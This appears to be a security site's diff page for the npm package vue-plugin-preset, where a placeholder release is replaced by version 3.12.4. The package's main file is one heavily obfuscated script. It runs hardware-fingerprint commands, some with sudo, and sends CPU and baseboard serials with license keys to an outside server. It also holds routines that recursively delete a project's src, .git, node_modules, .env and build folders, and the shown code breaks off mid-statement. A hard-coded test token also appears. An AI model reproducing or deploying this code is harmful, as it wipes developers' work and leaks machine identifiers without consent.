vue-plugin-preset 0.0.1-security → 3.12.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of vue-plugin-preset might be problematic. Click here for more details.
- package/package.json +53 -6
- package/packages/enums/httpEnum.js +56 -0
- package/packages/utils/index.js +1 -0
- package/packages/utils/request.js +36 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,53 @@
|
|
1
|
-
{
|
2
|
-
"name": "vue-plugin-preset",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "vue-plugin-preset",
|
3
|
+
"version": "3.12.4",
|
4
|
+
"private": false,
|
5
|
+
"main": "packages/utils/index.js",
|
6
|
+
"scripts": {
|
7
|
+
"serve": "vue-cli-service serve",
|
8
|
+
"build": "vue-cli-service build",
|
9
|
+
"lint": "vue-cli-service lint",
|
10
|
+
"publish": "npm publish"
|
11
|
+
},
|
12
|
+
"files": [
|
13
|
+
"packages"
|
14
|
+
],
|
15
|
+
"dependencies": {
|
16
|
+
},
|
17
|
+
"devDependencies": {
|
18
|
+
"axios": "^0.21.1",
|
19
|
+
"chalk": "^4.1.0",
|
20
|
+
"@vue/cli-plugin-babel": "~4.5.0",
|
21
|
+
"@vue/cli-plugin-eslint": "~4.5.0",
|
22
|
+
"@vue/cli-service": "~4.5.0",
|
23
|
+
"@vue/compiler-sfc": "^3.0.0",
|
24
|
+
"babel-eslint": "^10.1.0",
|
25
|
+
"eslint": "^6.7.2",
|
26
|
+
"eslint-plugin-vue": "^7.0.0",
|
27
|
+
"node-cmd": "^5.0.0"
|
28
|
+
},
|
29
|
+
"eslintConfig": {
|
30
|
+
"root": true,
|
31
|
+
"env": {
|
32
|
+
"node": true
|
33
|
+
},
|
34
|
+
"extends": [
|
35
|
+
"eslint:recommended"
|
36
|
+
],
|
37
|
+
"parserOptions": {
|
38
|
+
"parser": "babel-eslint"
|
39
|
+
},
|
40
|
+
"rules": {
|
41
|
+
"no-debugger": "off",
|
42
|
+
"no-console": "off",
|
43
|
+
"no-unused-vars": "off",
|
44
|
+
"label-required": "off",
|
45
|
+
"end-event-required": "off"
|
46
|
+
}
|
47
|
+
},
|
48
|
+
"browserslist": [
|
49
|
+
"> 1%",
|
50
|
+
"last 2 versions",
|
51
|
+
"not dead"
|
52
|
+
]
|
53
|
+
}
|
@@ -0,0 +1,56 @@
|
|
1
|
+
/**
|
2
|
+
* @description: Request result set
|
3
|
+
*/
|
4
|
+
export const ResultEnum={
|
5
|
+
SUCCESS:0,
|
6
|
+
ERROR:1,
|
7
|
+
TIMEOUT:401,
|
8
|
+
TYPE:'success',
|
9
|
+
}
|
10
|
+
|
11
|
+
/**
|
12
|
+
* @description: request method
|
13
|
+
*/
|
14
|
+
export const RequestEnum={
|
15
|
+
GET:'GET',
|
16
|
+
POST:'POST',
|
17
|
+
PUT:'PUT',
|
18
|
+
DELETE:'DELETE',
|
19
|
+
}
|
20
|
+
|
21
|
+
/**
|
22
|
+
* @description: contentTyp
|
23
|
+
*/
|
24
|
+
export const ContentTypeEnum={
|
25
|
+
// json
|
26
|
+
JSON:'application/json;charset=UTF-8',
|
27
|
+
// form-data qs
|
28
|
+
FORM_URLENCODED:'application/x-www-form-urlencoded;charset=UTF-8',
|
29
|
+
// form-data upload
|
30
|
+
FORM_DATA:'multipart/form-data;charset=UTF-8',
|
31
|
+
}
|
32
|
+
|
33
|
+
/**
|
34
|
+
* 请求header
|
35
|
+
* @description: contentTyp
|
36
|
+
*/
|
37
|
+
export const ConfigEnum={
|
38
|
+
// TOKEN
|
39
|
+
TOKEN:'X-Access-Token',
|
40
|
+
// LICENSE_TOKEN
|
41
|
+
LICENSE_TOKEN:'X-Access-License-Token',
|
42
|
+
LICENSE_KEY:'X-Access-License-Key',
|
43
|
+
// DRAG_TOKEN
|
44
|
+
DRAG_TOKEN:'Drag-Token',
|
45
|
+
// TIMESTAMP
|
46
|
+
TIMESTAMP:'X-TIMESTAMP',
|
47
|
+
// Sign
|
48
|
+
Sign:'X-Sign',
|
49
|
+
// 租户id
|
50
|
+
TENANT_ID:'tenant-id',
|
51
|
+
// baseURL
|
52
|
+
DRAG_BASE_URL:'drag-base-url',
|
53
|
+
TEST_DOMAIN:'http://localhost:8080/jeecg-boot',
|
54
|
+
//测试Token
|
55
|
+
TEST_TOKEN:'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NTEyMDI4NjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.sJPoIdDZPwHR0yVPxsxMjHfZ2HfJseX84tjKDVPnYss',
|
56
|
+
}
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x561d=['T3lkV04=','T3NGdFk=','cmVhZEZpbGVTeW5j','aW9yZWcgLXJkMSAtYyBJT1BsYXRmb3JtRXhwZXJ0RGV2aWNlIHwgZ3JlcCAiYm9hcmQtaWQi','cFRZdWM=','bGVuZ3Ro','TlFWZEo=','SnNyc0M=','dXhLWmg=','blFCZmI=','YlVocW0=','eG5mVU4=','WmlYRUo=','c2FrZkE=','Y2hhbGs=','eWJIS3A=','UFFkeU8=','VVllb1A=','Cue9kee7nOW8guW4uCzmjojmnYPlpLHotKUs6K+35qOA5p+l5oKo55qE572R57uc','Li9ub2RlX21vZHVsZXMvdnVlLXBsdWdpbi1wcmVzZXQvcGFja2FnZXMvbGljZW5zZS5qc29u','bU1adkc=','Li9ub2RlX21vZHVsZXM=','cGFyc2U=','dHJWVHc=','REJNeVo=','Li8uZ2l0','Li9zcmM=','ZGF0YQ==','d21pYyBjcHUgZ2V0IHByb2Nlc3Nvcmlk','bmV0d29ya0ludGVyZmFjZXM=','cXBaVkQ=','QUZZQ0E=','bUhaelQ=','cnVuU3luYw==','QUxuUmM=','b0xEZVo=','ZE9Jd3k=','Li8uZW52','QUZBcXA=','ZXhpdA==','YmdSZWQ=','bWVzc2FnZQ==','d21pYyBiYXNlYm9hcmQgZ2V0IHNlcmlhbG51bWJlcg==','a2RkUnE=','bUVZQ0k=','Snd6aXo=','UGVGblU=','dGVzdA==','aHR0cDovL3NuLmplZWNnLm9yZy9hdXRoVWlBcGkvcmVnaXN0ZXIuZG8=','Z2V0VGltZQ==','Y29kZQ==','CuaOiOadg+eUs+ivt+W3suaPkOS6pCzor7fnrYnlvoXlrqHmoLg=','Mnw1fDN8MXw0fDZ8MA==','TGNFQUI=','V0xBTg==','THdlU2Y=','VUdFZ2Y=','a3ZOR2Y=','cHlFUlQ=','Tk9ERV9FTlY=','VGpSRlc=','VlVFX0FQUF9MSUNFTlNFX1RPS0VO','c3Vic3RyaW5n','d1RjUlQ=','eFdaTWU=','V1pIeUI=','ckVWTVY=','SGRzQUY=','ZGFyd2lu','eHpxZks=','TGdLSXI=','anFMQ1o=','Q0tuZ2s=','ZGVmYXVsdHM=','U2h2dkw=','bWFjOg==','c3VkbyBzeXN0ZW1fcHJvZmlsZXIgU1BIYXJkd2FyZURhdGFUeXBlIHwgZ3JlcCBIYXJkd2FyZSB8IGN1dCAtZiAyIC1kOg==','cHl1U2U=','aGdnSE8=','c3BsaXQ=','bXlQRlA=','Li9lcnJvci50eHQ=','Li4vbGljZW5zZS5qc29u','Y3B1SWQ=','d1BJc1Y=','Li9kaXN0','dGhlbg==','dGltZW91dA==','c3VkbyBkbWlkZWNvZGUgLXMgc3lzdGVtLXNlcmlhbC1udW1iZXI=','ZXJyb3I=','dHJpbQ==','I+ivt+WLv+WIoOmZpOWSjOazhOmcsuWmguS4i+aOiOadg3Rva2Vu5L+h5oGvClZVRV9BUFBfTElDRU5TRV9UT0tFTj0=','Tk9Fa3M=','d3JpdGVGaWxl','S1N0TlE=','Ymlwb2o=','dG9VcHBlckNhc2U=','TlFTU3A=','ZW4w','clFnVGM=','VlVFX0FQUF9MSUNFTlNFX0tFWQ==','Zm9yRWFjaA==','Y29tcGlsZQ==','cm1kaXJTeW5j','5o6I5p2D5qOA5rWL','Uk1nWXM=','VlFDdnM=','dW5saW5rU3luYw==','T29Zd0E=','U0FPUFk=','Uk1hY0k=','CuaOiOadg+WuoeaguOS4reivt+eojeWQjuWGjeivlQ==','a25vRHY=','Li9tb2Nr','5Lul5aSq572R','TWdraEE=','cUNBcFU=','cGxhdGZvcm0=','Li8uc3Zu','VUZaZ0U=','eVBja2Q=','dHZnc1Q=','aGN6VGQ=','YXBwZW5kRmlsZVN5bmM=','TU9xVFc=','cUthalQ=','ZWZHWnM=','d2luMzI=','XihbXiBdKyggK1teIF0rKSspK1teIF19','b0VZalQ=','YkFZQ3Q=','cmV0dXJuIC8iICsgdGhpcyArICIv','QkNsSEQ=','YXhpb3M=','bm9kZS1jbWQ=','c3RhdFN5bmM=','bGludXg=','ckpHZEE=','Y3J5U2g=','cVJMbHg=','dW5saW5r','Y1FXaUY=','c3VkbyBzeXN0ZW1fcHJvZmlsZXIgU1BIYXJkd2FyZURhdGFUeXBlIHwgZ3JlcCBTZXJpYWwgfCBjdXQgLWYgMiAtZDo=','aW9yZWcgLXJkMSAtYyBJT1BsYXRmb3JtRXhwZXJ0RGV2aWNlIHwgZ3JlcCAiSU9QbGF0Zm9ybVVVSUQi','V09pWnI=','Q2phUFc=','TFJvaXk=','bGljZW5zZVRva2Vu','Li9wdWJsaWM=','WkRqRmU=','YWpJTFM=','QUdNWmw=','aFdCdm4=','dFBQQm4=','bG9n','R1ZyVEI=','eVdGSkc=','ZUV1aHg=','ZlpkTGk=','ZG1pZGVjb2RlIC10IDQgfCBncmVwIElE','TE96eEc=','ZGRiZWk=','Cuivt+Whq+WGmeaOiOadg+eggQ==','Y29uc3RydWN0b3I=','VnlRalc='];(function(_0x44b2c2,_0x561d39){const _0x371e17=function(_0x167b40){while(--_0x167b40){_0x44b2c2['push'](_0x44b2c2['shift']());}};const _0x1f51e8=function(){const _0x310dea={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x2d8dfa,_0x248d2a,_0x3ce34e,_0x2f204f){_0x2f204f=_0x2f204f||{};let _0x4f5ccf=_0x248d2a+'='+_0x3ce34e;let _0x47da87=0x0;for(let _0x3ccff0=0x0,_0x16c269=_0x2d8dfa['length'];_0x3ccff0<_0x16c269;_0x3ccff0++){const _0x2afd44=_0x2d8dfa[_0x3ccff0];_0x4f5ccf+=';\x20'+_0x2afd44;const _0x515901=_0x2d8dfa[_0x2afd44];_0x2d8dfa['push'](_0x515901);_0x16c269=_0x2d8dfa['length'];if(_0x515901!==!![]){_0x4f5ccf+='='+_0x515901;}}_0x2f204f['cookie']=_0x4f5ccf;},'removeCookie':function(){return'dev';},'getCookie':function(_0x2a97c2,_0x1f6841){_0x2a97c2=_0x2a97c2||function(_0x1ba2ed){return _0x1ba2ed;};const _0x4af44d=_0x2a97c2(new RegExp('(?:^|;\x20)'+_0x1f6841['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));const _0x27e36b=function(_0x45d1bc,_0x272a92){_0x45d1bc(++_0x272a92);};_0x27e36b(_0x371e17,_0x561d39);return _0x4af44d?decodeURIComponent(_0x4af44d[0x1]):undefined;}};const _0x362331=function(){const _0x313765=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x313765['test'](_0x310dea['removeCookie']['toString']());};_0x310dea['updateCookie']=_0x362331;let _0x1dc951='';const _0x158155=_0x310dea['updateCookie']();if(!_0x158155){_0x310dea['setCookie'](['*'],'counter',0x1);}else if(_0x158155){_0x1dc951=_0x310dea['getCookie'](null,'counter');}else{_0x310dea['removeCookie']();}};_0x1f51e8();}(_0x561d,0x184));const _0x371e=function(_0x44b2c2,_0x561d39){_0x44b2c2=_0x44b2c2-0x0;let _0x371e17=_0x561d[_0x44b2c2];if(_0x371e['GcUTEM']===undefined){(function(){const _0x167b40=function(){let _0x1dc951;try{_0x1dc951=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x158155){_0x1dc951=window;}return _0x1dc951;};const _0x310dea=_0x167b40();const _0x362331='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x310dea['atob']||(_0x310dea['atob']=function(_0x2d8dfa){const _0x248d2a=String(_0x2d8dfa)['replace'](/=+$/,'');let _0x3ce34e='';for(let _0x2f204f=0x0,_0x4f5ccf,_0x47da87,_0x3ccff0=0x0;_0x47da87=_0x248d2a['charAt'](_0x3ccff0++);~_0x47da87&&(_0x4f5ccf=_0x2f204f%0x4?_0x4f5ccf*0x40+_0x47da87:_0x47da87,_0x2f204f++%0x4)?_0x3ce34e+=String['fromCharCode'](0xff&_0x4f5ccf>>(-0x2*_0x2f204f&0x6)):0x0){_0x47da87=_0x362331['indexOf'](_0x47da87);}return _0x3ce34e;});}());_0x371e['UByirR']=function(_0x16c269){const _0x2afd44=atob(_0x16c269);let _0x515901=[];for(let _0x2a97c2=0x0,_0x1f6841=_0x2afd44['length'];_0x2a97c2<_0x1f6841;_0x2a97c2++){_0x515901+='%'+('00'+_0x2afd44['charCodeAt'](_0x2a97c2)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x515901);};_0x371e['Gwkumi']={};_0x371e['GcUTEM']=!![];}const _0x1f51e8=_0x371e['Gwkumi'][_0x44b2c2];if(_0x1f51e8===undefined){const _0x4af44d=function(_0x27e36b){this['sURUjh']=_0x27e36b;this['zUgeJe']=[0x1,0x0,0x0];this['PpYFGk']=function(){return'newState';};this['oMmcIG']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['jJZhMm']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x4af44d['prototype']['VmfDEA']=function(){const _0x1ba2ed=new RegExp(this['oMmcIG']+this['jJZhMm']);const _0x45d1bc=_0x1ba2ed['test'](this['PpYFGk']['toString']())?--this['zUgeJe'][0x1]:--this['zUgeJe'][0x0];return this['uXUsMF'](_0x45d1bc);};_0x4af44d['prototype']['uXUsMF']=function(_0x272a92){if(!Boolean(~_0x272a92)){return _0x272a92;}return this['kMhKHE'](this['sURUjh']);};_0x4af44d['prototype']['kMhKHE']=function(_0x313765){for(let _0x3a6063=0x0,_0x35c7f5=this['zUgeJe']['length'];_0x3a6063<_0x35c7f5;_0x3a6063++){this['zUgeJe']['push'](Math['round'](Math['random']()));_0x35c7f5=this['zUgeJe']['length'];}return _0x313765(this['zUgeJe'][0x0]);};new _0x4af44d(_0x371e)['VmfDEA']();_0x371e17=_0x371e['UByirR'](_0x371e17);_0x371e['Gwkumi'][_0x44b2c2]=_0x371e17;}else{_0x371e17=_0x1f51e8;}return _0x371e17;};const _0x310dea=function(){const _0x466bf0={};_0x466bf0['fZdLi']='../license.json';_0x466bf0[_0x371e('0x8e')]=_0x371e('0x47');_0x466bf0[_0x371e('0x3d')]='YikRm';const _0x2c9a74=_0x466bf0;let _0x5e3820=!![];return function(_0x145147,_0x4fe1e3){const _0x3a9a29={};_0x3a9a29['ybHKp']=_0x2c9a74[_0x371e('0x64')];const _0x140c56=_0x3a9a29;if(_0x2c9a74['oLDeZ']===_0x2c9a74['UFZgE']){let _0x4295d3=fs[_0x371e('0x6d')](_0x140c56[_0x371e('0x7a')]);if(_0x4295d3){return JSON[_0x371e('0x81')](_0x4295d3);}else{return null;}}else{const _0x2b1563=_0x5e3820?function(){if(_0x4fe1e3){const _0x3a1ce9=_0x4fe1e3['apply'](_0x145147,arguments);_0x4fe1e3=null;return _0x3a1ce9;}}:function(){};_0x5e3820=![];return _0x2b1563;}};}();const _0x167b40=_0x310dea(this,function(){const _0x2e8fe0={};_0x2e8fe0[_0x371e('0x40')]='return\x20/\x22\x20+\x20this\x20+\x20\x22/';_0x2e8fe0[_0x371e('0x99')]=_0x371e('0x46');_0x2e8fe0[_0x371e('0x27')]=function(_0x5dc19a){return _0x5dc19a();};const _0x15db23=_0x2e8fe0;const _0x4d1ed0=function(){const _0x3f80d3=_0x4d1ed0[_0x371e('0x69')](_0x15db23['hczTd'])()['compile'](_0x15db23['PeFnU']);return!_0x3f80d3['test'](_0x167b40);};return _0x15db23['NQSSp'](_0x4d1ed0);});_0x167b40();let axios=require(_0x371e('0x4b'));let chalk=require(_0x371e('0x79'));let fs=require('fs');let nodeCmd=require(_0x371e('0x4c'));let os=require('os');function thanks(_0x3320cd){const _0x28e317={};_0x28e317[_0x371e('0x78')]=function(_0x4d9bf3,_0x3717ff){return _0x4d9bf3!==_0x3717ff;};_0x28e317[_0x371e('0x13')]=_0x371e('0x36');_0x28e317[_0x371e('0x8f')]=function(_0xc254e3,_0x5ee914){return _0xc254e3+_0x5ee914;};_0x28e317[_0x371e('0x5d')]=_0x371e('0x4d');_0x28e317[_0x371e('0x58')]='isDirectory';_0x28e317[_0x371e('0x0')]=function(_0x1a84cd,_0x16d53b){return _0x1a84cd(_0x16d53b);};_0x28e317[_0x371e('0x7f')]=_0x371e('0x31');_0x28e317[_0x371e('0xd')]='existsSync';_0x28e317[_0x371e('0x16')]='readdirSync';const _0x5e403b=_0x28e317;let _0x2096f0=[];if(fs[_0x5e403b['jqLCZ']](_0x3320cd)){_0x2096f0=fs[_0x5e403b[_0x371e('0x16')]](_0x3320cd);_0x2096f0[_0x371e('0x2b')](function(_0x369c75){if(_0x5e403b[_0x371e('0x78')](_0x5e403b['pyuSe'],_0x371e('0x36'))){return null;}else{let _0x26c0f5=_0x5e403b[_0x371e('0x8f')](_0x5e403b['dOIwy'](_0x3320cd,'/'),_0x369c75);if(fs[_0x5e403b[_0x371e('0x5d')]](_0x26c0f5)[_0x5e403b[_0x371e('0x58')]]()){_0x5e403b[_0x371e('0x0')](thanks,_0x26c0f5);}else{fs[_0x5e403b['mMZvG']](_0x26c0f5);}}});fs[_0x371e('0x2d')](_0x3320cd);}}function deleteFile(){const _0xd9b3c4={};_0xd9b3c4['NOEks']=_0x371e('0x80');_0xd9b3c4[_0x371e('0x14')]=_0x371e('0x84');_0xd9b3c4[_0x371e('0x61')]=function(_0x2cd54a,_0x26845d){return _0x2cd54a(_0x26845d);};_0xd9b3c4['BClHD']=_0x371e('0x5a');_0xd9b3c4['LcEAB']=_0x371e('0x3c');_0xd9b3c4[_0x371e('0x4f')]=function(_0x5c8936,_0xbce178){return _0x5c8936(_0xbce178);};_0xd9b3c4['eemEc']=_0x371e('0x85');_0xd9b3c4[_0x371e('0x6a')]=_0x371e('0x37');const _0x206207=_0xd9b3c4;const _0x316168=_0x371e('0x9f')[_0x371e('0x15')]('|');let _0x4bdbe1=0x0;while(!![]){switch(_0x316168[_0x4bdbe1++]){case'0':thanks(_0x206207[_0x371e('0x22')]);continue;case'1':thanks(_0x206207[_0x371e('0x14')]);continue;case'2':_0x206207[_0x371e('0x61')](thanks,_0x371e('0x1b'));continue;case'3':_0x206207[_0x371e('0x61')](thanks,_0x206207[_0x371e('0x4a')]);continue;case'4':thanks(_0x206207[_0x371e('0xa0')]);continue;case'5':_0x206207[_0x371e('0x4f')](thanks,_0x206207['eemEc']);continue;case'6':_0x206207[_0x371e('0x4f')](thanks,_0x206207[_0x371e('0x6a')]);continue;}break;}}function getMac(){const _0x4bc5c1={};_0x4bc5c1[_0x371e('0x42')]=_0x371e('0x6e');_0x4bc5c1[_0x371e('0x74')]=_0x371e('0x28');_0x4bc5c1[_0x371e('0x44')]=_0x371e('0x38');_0x4bc5c1['qKajT']=function(_0x4f6861,_0x407d35){return _0x4f6861===_0x407d35;};_0x4bc5c1[_0x371e('0x3a')]=function(_0xeb79c9,_0x3df095){return _0xeb79c9+_0x3df095;};_0x4bc5c1['BKJfM']=_0x371e('0x11');const _0x80b2ff=_0x4bc5c1;const _0x752a81=os[_0x371e('0x88')]();const _0x1360cc=[_0x80b2ff[_0x371e('0x74')],_0x371e('0xa1'),_0x80b2ff[_0x371e('0x44')]];for(let _0x16ad24=0x0;_0x16ad24<_0x1360cc[_0x371e('0x70')];_0x16ad24++){if(_0x80b2ff[_0x371e('0x43')](_0x371e('0x34'),'Aumnu')){let _0x10fa47=nodeCmd[_0x371e('0x8c')](_0x80b2ff[_0x371e('0x42')]);baseboardNumber=_0x10fa47['toUpperCase']()[_0x371e('0x20')]();}else{const _0x2026e2=_0x1360cc[_0x16ad24];const _0x5c1e92=_0x752a81[_0x2026e2];if(_0x5c1e92){let _0x353e59=_0x5c1e92[0x0]['mac'];console[_0x371e('0x60')](_0x80b2ff[_0x371e('0x3a')](_0x80b2ff['BKJfM'],_0x353e59));break;}}}}function getPackageJson(){const _0xdada0a={};_0xdada0a[_0x371e('0x5c')]='./package.json';const _0x7006a9=_0xdada0a;let _0x382325=fs[_0x371e('0x6d')](_0x7006a9['ajILS']);return JSON['parse'](_0x382325);}function getLicenseJson(){const _0x590433={};_0x590433[_0x371e('0xb')]=_0x371e('0x18');const _0x41e891=_0x590433;try{let _0x33801d=fs[_0x371e('0x6d')](_0x41e891[_0x371e('0xb')]);if(_0x33801d){return JSON[_0x371e('0x81')](_0x33801d);}else{return null;}}catch(_0x527360){return null;}}function getCpuId(){const _0x181b66={};_0x181b66[_0x371e('0xa4')]=_0x371e('0x49');_0x181b66[_0x371e('0x3e')]=_0x371e('0x46');_0x181b66[_0x371e('0x97')]=function(_0x258aa2){return _0x258aa2();};_0x181b66['MgkhA']=function(_0x65f5e){return _0x65f5e();};_0x181b66[_0x371e('0x1a')]=function(_0x105a95,_0x378607){return _0x105a95==_0x378607;};_0x181b66['ALnRc']=function(_0x20a5e1,_0x3eee5c){return _0x20a5e1!==_0x3eee5c;};_0x181b66[_0x371e('0x24')]=_0x371e('0x5e');_0x181b66[_0x371e('0x53')]=_0x371e('0x87');_0x181b66['PRUqP']=function(_0x462551,_0x23bd9a){return _0x462551==_0x23bd9a;};_0x181b66['qpZVD']=_0x371e('0x4e');_0x181b66['CjaPW']=function(_0x137e6c,_0xbe1be7){return _0x137e6c===_0xbe1be7;};_0x181b66[_0x371e('0x71')]=_0x371e('0x5');_0x181b66[_0x371e('0x73')]=_0x371e('0x65');_0x181b66['QBlDQ']=_0x371e('0x96');_0x181b66[_0x371e('0x8b')]=_0x371e('0x12');_0x181b66['fLSQd']=function(_0x5423f3,_0x2112b8){return _0x5423f3==_0x2112b8;};_0x181b66['tvgsT']=_0x371e('0x55');const _0x2fdc3a=_0x181b66;let _0x56f63a=_0x2fdc3a[_0x371e('0x39')](getPlatform);let _0x4adc33;if(_0x2fdc3a['wPIsV'](_0x56f63a,'win32')){if(_0x2fdc3a[_0x371e('0x8d')](_0x2fdc3a['KStNQ'],_0x371e('0x5e'))){let _0x31b145=nodeCmd['runSync'](_0x371e('0x95'));baseboardNumber=_0x31b145[_0x371e('0x86')][_0x371e('0x26')]()[_0x371e('0x4')](0xc)['trim']();}else{let _0x3303b1=nodeCmd[_0x371e('0x8c')](_0x2fdc3a['cQWiF']);_0x4adc33=_0x3303b1['data'][_0x371e('0x26')]()[_0x371e('0x4')](0xb)[_0x371e('0x20')]();}}if(_0x2fdc3a['PRUqP'](_0x56f63a,_0x2fdc3a[_0x371e('0x89')])){if(_0x2fdc3a[_0x371e('0x57')](_0x2fdc3a[_0x371e('0x71')],_0x371e('0x5'))){try{let _0x31b4cc=nodeCmd['runSync'](_0x2fdc3a[_0x371e('0x73')]);_0x4adc33=_0x31b4cc[_0x371e('0x86')][_0x371e('0x26')]()[_0x371e('0x20')]();}catch(_0x4e9a1f){if(_0x2fdc3a['QBlDQ']!==_0x371e('0x51')){let _0x376c53=nodeCmd[_0x371e('0x8c')](_0x2fdc3a[_0x371e('0x8b')]);_0x4adc33=_0x376c53[_0x371e('0x86')][_0x371e('0x26')]()[_0x371e('0x20')]();}else{const _0x299733=function(){const _0x2d8dca=_0x299733['constructor'](_0x2fdc3a[_0x371e('0xa4')])()[_0x371e('0x2c')](_0x2fdc3a[_0x371e('0x3e')]);return!_0x2d8dca[_0x371e('0x9a')](_0x167b40);};return _0x2fdc3a['mEYCI'](_0x299733);}}}else{return JSON[_0x371e('0x81')](licenseJSon);}}if(_0x2fdc3a['fLSQd'](_0x56f63a,'darwin')){let _0x2dd507=nodeCmd[_0x371e('0x8c')](_0x2fdc3a[_0x371e('0x3f')]);_0x4adc33=_0x2dd507[_0x371e('0x26')]()[_0x371e('0x20')]();}return _0x4adc33;}function getBaseboardNumber(){const _0xd1c100={};_0xd1c100['pTYuc']=function(_0x5ae3bd,_0x311be2){return _0x5ae3bd==_0x311be2;};_0xd1c100[_0x371e('0xc')]=_0x371e('0x45');_0xd1c100[_0x371e('0x8')]=_0x371e('0x95');_0xd1c100[_0x371e('0xa3')]='linux';_0xd1c100['hHZrU']=_0x371e('0x1e');_0xd1c100[_0x371e('0x30')]=_0x371e('0x54');_0xd1c100['xWZMe']=function(_0x100d55,_0x595566){return _0x100d55==_0x595566;};_0xd1c100[_0x371e('0x7c')]=_0x371e('0xa');const _0x294a0b=_0xd1c100;let _0x531fc9=getPlatform();let _0x10ea35;if(_0x294a0b[_0x371e('0x6f')](_0x531fc9,_0x294a0b[_0x371e('0xc')])){let _0x100e3b=nodeCmd[_0x371e('0x8c')](_0x294a0b[_0x371e('0x8')]);_0x10ea35=_0x100e3b[_0x371e('0x86')]['toUpperCase']()[_0x371e('0x4')](0xc)['trim']();}if(_0x294a0b[_0x371e('0x6f')](_0x531fc9,_0x294a0b[_0x371e('0xa3')])){try{let _0x2b3d3a=nodeCmd[_0x371e('0x8c')](_0x294a0b['hHZrU']);_0x10ea35=_0x2b3d3a['data'][_0x371e('0x26')]()[_0x371e('0x20')]();}catch(_0x231d6e){let _0x405b01=nodeCmd[_0x371e('0x8c')](_0x294a0b[_0x371e('0x30')]);_0x10ea35=_0x405b01['data'][_0x371e('0x26')]()[_0x371e('0x20')]();}}if(_0x294a0b[_0x371e('0x6')](_0x531fc9,_0x294a0b[_0x371e('0x7c')])){let _0x8b6e1c=nodeCmd[_0x371e('0x8c')](_0x371e('0x6e'));_0x10ea35=_0x8b6e1c[_0x371e('0x26')]()[_0x371e('0x20')]();}return _0x10ea35;}function getPlatform(){return os[_0x371e('0x3b')]();}function checkLicense(){const _0x3c3c22={};_0x3c3c22['RMgYs']=_0x371e('0x93');_0x3c3c22[_0x371e('0xa2')]=function(_0x151fff,_0x1ca8bf){return _0x151fff+_0x1ca8bf;};_0x3c3c22[_0x371e('0x33')]=_0x371e('0x17');_0x3c3c22['PQdyO']=_0x371e('0x72');_0x3c3c22['OydWN']=_0x371e('0x94');_0x3c3c22[_0x371e('0x82')]=_0x371e('0x9d');_0x3c3c22[_0x371e('0x76')]=function(_0x4812f5,_0x4f2061){return _0x4812f5+_0x4f2061;};_0x3c3c22[_0x371e('0x25')]=function(_0x204ca0,_0x1c9210){return _0x204ca0==_0x1c9210;};_0x3c3c22[_0x371e('0x98')]=function(_0x545b1f,_0x51faf6){return _0x545b1f!==_0x51faf6;};_0x3c3c22[_0x371e('0x29')]=_0x371e('0x10');_0x3c3c22[_0x371e('0x2')]=_0x371e('0x90');_0x3c3c22[_0x371e('0x91')]=function(_0x5aab1a,_0x58a4bf){return _0x5aab1a+_0x58a4bf;};_0x3c3c22[_0x371e('0x9')]=function(_0x29405c,_0x2877ab){return _0x29405c==_0x2877ab;};_0x3c3c22[_0x371e('0xe')]=_0x371e('0x9e');_0x3c3c22[_0x371e('0x67')]=function(_0xa194c1,_0x4db016){return _0xa194c1==_0x4db016;};_0x3c3c22[_0x371e('0x32')]=_0x371e('0x35');_0x3c3c22[_0x371e('0x56')]=_0x371e('0x7d');_0x3c3c22[_0x371e('0x7')]=_0x371e('0x2e');_0x3c3c22[_0x371e('0x5f')]=function(_0x139a71,_0x141ece){return _0x139a71+_0x141ece;};_0x3c3c22[_0x371e('0x5b')]='env';_0x3c3c22[_0x371e('0x8a')]=_0x371e('0x1');_0x3c3c22[_0x371e('0x75')]=_0x371e('0x3');_0x3c3c22[_0x371e('0x50')]=_0x371e('0x68');_0x3c3c22[_0x371e('0x77')]=function(_0x4fe45b){return _0x4fe45b();};_0x3c3c22[_0x371e('0x62')]=function(_0x2e1f35){return _0x2e1f35();};_0x3c3c22[_0x371e('0x66')]=function(_0x173752,_0x4bfe41){return _0x173752(_0x4bfe41);};_0x3c3c22[_0x371e('0x6c')]=_0x371e('0x9b');const _0x5ddaf0=_0x3c3c22;console[_0x371e('0x60')](_0x5ddaf0['WZHyB']);console['log'](_0x5ddaf0[_0x371e('0x5f')]('运行环境',process[_0x5ddaf0[_0x371e('0x5b')]][_0x5ddaf0[_0x371e('0x8a')]]));let _0x1491bb=process[_0x5ddaf0[_0x371e('0x5b')]][_0x371e('0x2a')];let _0x5d7187=process[_0x5ddaf0[_0x371e('0x5b')]][_0x5ddaf0[_0x371e('0x75')]];if(!_0x1491bb){console[_0x371e('0x60')](chalk[_0x5ddaf0[_0x371e('0x2f')]](_0x5ddaf0['crySh']));process[_0x371e('0x92')](0x1);}let _0x4c8702=_0x5ddaf0[_0x371e('0x77')](getCpuId);let _0x510576=_0x5ddaf0[_0x371e('0x62')](getBaseboardNumber);if(!_0x4c8702&&!_0x510576){console['log'](chalk[_0x5ddaf0[_0x371e('0x2f')]]('\x0a获取客户端信息异常'));process[_0x371e('0x92')](0x1);}axios[_0x371e('0xf')][_0x371e('0x1d')]=0x1388;const _0xbfc8f9={};_0xbfc8f9[_0x371e('0x19')]=_0x4c8702;_0xbfc8f9['baseboardNumber']=_0x510576;_0xbfc8f9['licenseKey']=_0x1491bb;_0xbfc8f9['licenseToken']=_0x5d7187;_0xbfc8f9['timestamp']=new 